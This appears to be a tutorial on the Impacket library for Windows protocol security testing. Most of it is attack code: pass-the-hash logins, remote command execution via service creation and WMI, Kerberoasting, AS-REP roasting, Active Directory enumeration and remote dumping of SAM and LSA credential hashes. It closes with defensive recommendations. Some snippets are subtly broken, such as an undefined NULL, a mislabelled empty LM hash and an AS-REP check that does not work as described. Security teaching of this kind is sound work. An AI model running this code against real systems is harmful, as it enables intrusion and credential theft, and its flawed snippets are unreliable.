Python Impacket Security Tools — Deep Dive

System-level framing

Impacket is the foundational Python library for Windows protocol security research. Developed originally by SecureAuth (now Fortra), it provides pure-Python implementations of protocols that are normally only available through Windows APIs. This means you can interact with Active Directory, SMB shares, Kerberos, and DCOM from Linux, macOS, or any system running Python — a critical capability for security testing.

Understanding Impacket at the code level lets you build custom security tools, automate assessment workflows, and understand attack techniques deeply enough to defend against them.

Installation

pip install impacket

The package includes both the library and example scripts (installed as console entry points).

SMB operations

Connecting and listing shares

from impacket.smbconnection import SMBConnection

conn = SMBConnection("target-server", "192.168.1.100")
conn.login("username", "password", "DOMAIN")

# List available shares
shares = conn.listShares()
for share in shares:
    name = share["shi1_netname"][:-1]  # Remove null terminator
    print(f"Share: {name}")

# List files in a share
files = conn.listPath("SharedDocs", "\\*")
for f in files:
    print(f"  {f.get_longname()}")

conn.logoff()

File operations

from impacket.smbconnection import SMBConnection

conn = SMBConnection("target", "192.168.1.100")
conn.login("user", "pass", "DOMAIN")

# Download a file
with open("local_copy.txt", "wb") as local_file:
    conn.getFile("SharedDocs", "\\reports\\quarterly.txt", local_file.write)

# Upload a file
with open("payload.txt", "rb") as local_file:
    conn.putFile("SharedDocs", "\\uploads\\payload.txt", local_file.read)

# Delete a file
conn.deleteFile("SharedDocs", "\\uploads\\payload.txt")

conn.logoff()

Pass-the-Hash authentication

from impacket.smbconnection import SMBConnection

conn = SMBConnection("target", "192.168.1.100")

# Authenticate with NTLM hash instead of password
# Format: LM_HASH:NT_HASH (LM is usually empty for modern systems)
conn.login("admin", "", "DOMAIN", lmhash="", nthash="aad3b435b51404eeaad3b435b51404ee")

shares = conn.listShares()
conn.logoff()

Remote command execution

PsExec-style execution

from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection
from impacket import smbserver
import subprocess

# Using the library directly for remote service creation
from impacket.dcerpc.v5 import transport, scmr

def remote_exec(target: str, username: str, password: str, domain: str, command: str):
    """Execute a command on a remote machine via SMB service creation."""
    conn = SMBConnection(target, target)
    conn.login(username, password, domain)

    # Connect to Service Control Manager
    rpc = transport.SMBTransport(target, filename="\\svcctl")
    rpc.set_smb_connection(conn)
    dce = rpc.get_dce_rpc()
    dce.connect()
    dce.bind(scmr.MSRPC_UUID_SCMR)

    # Open SCM
    resp = scmr.hROpenSCManagerW(dce)
    sc_handle = resp["lpScHandle"]

    # Create a service that runs our command
    service_name = "TempSvc"
    resp = scmr.hRCreateServiceW(
        dce, sc_handle, service_name, service_name,
        lpBinaryPathName=f"cmd.exe /c {command}",
        dwStartType=scmr.SERVICE_DEMAND_START,
    )
    service_handle = resp["lpServiceHandle"]

    # Start the service (runs the command)
    try:
        scmr.hRStartServiceW(dce, service_handle)
    except Exception:
        pass  # Service exits immediately after command runs

    # Cleanup
    scmr.hRDeleteService(dce, service_handle)
    scmr.hRCloseServiceHandle(dce, service_handle)
    scmr.hRCloseServiceHandle(dce, sc_handle)
    dce.disconnect()

WMI execution

from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection

def wmi_exec(target: str, username: str, password: str, domain: str, command: str):
    """Execute a command via WMI (Windows Management Instrumentation)."""
    dcom = DCOMConnection(target, username, password, domain)

    iInterface = dcom.CoCreateInstanceEx(
        wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
    )
    iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
    iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
    iWbemLevel1Login.RemRelease()

    # Create a process
    win32_process, _ = iWbemServices.GetObject("Win32_Process")
    win32_process.Create(command, "C:\\", None)

    dcom.disconnect()

Kerberos operations

AS-REP Roasting (finding accounts without pre-auth)

from impacket.krb5.asn1 import AS_REQ, AS_REP, seq_set
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5.types import Principal, KerberosTime

def check_asrep_roastable(domain: str, dc_ip: str, username: str) -> str | None:
    """Check if a user account has Kerberos pre-auth disabled."""
    client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

    try:
        # Request TGT without pre-authentication
        tgt, cipher, old_session_key, session_key = getKerberosTGT(
            clientName=client_name,
            password="",
            domain=domain,
            lmhash="",
            nthash="",
            kdcHost=dc_ip,
        )
        # If we get here without error, pre-auth is disabled
        return f"[VULNERABLE] {username} - AS-REP hash obtained"
    except KerberosError as e:
        if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
            return None  # Pre-auth is required — account is properly configured
        raise

Kerberoasting (extracting service ticket hashes)

from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants

def kerberoast(
    domain: str, dc_ip: str, username: str, password: str, target_spn: str
) -> bytes:
    """Request a service ticket for cracking (Kerberoasting)."""
    # Get TGT first
    client = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    tgt, cipher, old_session_key, session_key = getKerberosTGT(
        clientName=client,
        password=password,
        domain=domain,
        lmhash="",
        nthash="",
        kdcHost=dc_ip,
    )

    # Request service ticket for the target SPN
    server = Principal(target_spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
    tgs, cipher, old_session_key, session_key = getKerberosTGS(
        serverName=server,
        domain=domain,
        kdcHost=dc_ip,
        tgt=tgt,
        cipher=cipher,
        sessionKey=session_key,
    )

    return tgs  # Contains the encrypted hash for offline cracking

LDAP Active Directory enumeration

from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket

def enumerate_ad(dc_ip: str, domain: str, username: str, password: str):
    """Enumerate Active Directory users and groups."""
    # Build LDAP base DN from domain
    base_dn = ",".join([f"DC={part}" for part in domain.split(".")])

    ldap_conn = ldap_impacket.LDAPConnection(
        f"ldap://{dc_ip}", base_dn, dc_ip
    )
    ldap_conn.login(username, password, domain)

    # Find all users
    search_filter = "(&(objectCategory=person)(objectClass=user))"
    attributes = ["sAMAccountName", "mail", "memberOf", "lastLogon", "userAccountControl"]

    results = ldap_conn.search(
        searchFilter=search_filter,
        attributes=attributes,
        sizeLimit=1000,
    )

    users = []
    for entry in results:
        if isinstance(entry, ldapasn1_impacket.SearchResultEntry):
            user = {}
            for attr in entry["attributes"]:
                attr_type = str(attr["type"])
                attr_vals = [str(v) for v in attr["vals"]]
                user[attr_type] = attr_vals[0] if len(attr_vals) == 1 else attr_vals
            users.append(user)

    return users

NTLM hash extraction (secretsdump)

from impacket.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes

def dump_secrets(target: str, username: str, password: str, domain: str):
    """Extract password hashes from a remote machine."""
    from impacket.smbconnection import SMBConnection

    conn = SMBConnection(target, target)
    conn.login(username, password, domain)

    remote_ops = RemoteOperations(conn, False)
    remote_ops.enableRegistry()

    # SAM database (local accounts)
    boot_key = remote_ops.getBootKey()
    sam_hashes = SAMHashes(
        remote_ops.saveSAM(), boot_key, isRemote=True
    )
    sam_hashes.dump()

    # LSA secrets (service account passwords, cached credentials)
    lsa = LSASecrets(
        remote_ops.saveSECURITY(), boot_key, remote_ops, isRemote=True
    )
    lsa.dumpCachedHashes()
    lsa.dumpSecrets()

    remote_ops.finish()
    conn.logoff()

Building custom tools

Impacket’s strength is as a library for building custom security tools:

from impacket.smbconnection import SMBConnection
from concurrent.futures import ThreadPoolExecutor
import sys

def check_smb_signing(target: str) -> dict:
    """Check if SMB signing is required on a target."""
    try:
        conn = SMBConnection(target, target, timeout=5)
        signing = conn.isSigningRequired()
        dialect = conn.getDialect()
        conn.logoff()
        return {
            "target": target,
            "signing_required": signing,
            "dialect": f"SMB{dialect}",
            "status": "accessible",
        }
    except Exception as e:
        return {"target": target, "status": "error", "error": str(e)}

def audit_smb_fleet(targets: list[str], max_workers: int = 20) -> list[dict]:
    """Check SMB signing across a network."""
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        results = list(executor.map(check_smb_signing, targets))

    unsigned = [r for r in results if r.get("signing_required") is False]
    if unsigned:
        print(f"WARNING: {len(unsigned)} hosts do not require SMB signing!")
        for host in unsigned:
            print(f"  - {host['target']}")

    return results

Defense recommendations

Understanding Impacket from a defensive perspective:

  1. Enable SMB signing — Prevents relay attacks. check_smb_signing() above helps audit this.
  2. Disable NTLM where possible — Force Kerberos authentication to prevent Pass-the-Hash.
  3. Enable Kerberos pre-authentication — Prevents AS-REP Roasting.
  4. Use group Managed Service Accounts (gMSA) — Auto-rotating passwords prevent Kerberoasting.
  5. Monitor for unusual DCOM/WMI activity — Remote execution tools leave detectable patterns.
  6. Deploy LAPS (Local Administrator Password Solution) — Unique local admin passwords per machine.
  7. Restrict service account delegation — Unconstrained delegation is a major escalation path.

Tradeoffs

ToolProsCons
Impacket (Python)Full protocol library, scriptable, cross-platformDetected by many EDR solutions
CrackMapExecHigh-level automation, easy to useBuilt on Impacket (same detection)
Mimikatz (C)In-memory credential extractionWindows-only, heavily signatured
Rubeus (C#)Advanced Kerberos attacksWindows-only, .NET dependency
SharpHoundAD relationship mappingWindows-only, detection risk

One thing to remember: Impacket is a protocol library, not a vulnerability exploit. The security issues it tests are in the protocols themselves — SMB relay, Pass-the-Hash, Kerberoasting — all stem from how Windows authentication is designed. Understanding these protocols through Impacket makes you a better defender, because you can test the same paths that real attackers use.

pythonsecuritynetworking

See Also

  • Python Dns Resolver Understand how Python translates website names into addresses, like a phone book for the entire internet.
  • Python Dpkt Packet Parsing Understand how Python reads and decodes captured network traffic, like opening envelopes to see what is inside each message.
  • Python Ftp Sftp Transfers Understand how Python moves files between computers over a network, like a digital delivery truck with a locked or unlocked cargo door.
  • Python Netconf Yang Understand how Python configures network devices automatically, like a remote control for every router and switch in your building.
  • Python Pcap Analysis Understand how Python reads recordings of network traffic, like playing back security camera footage to see what happened on your network.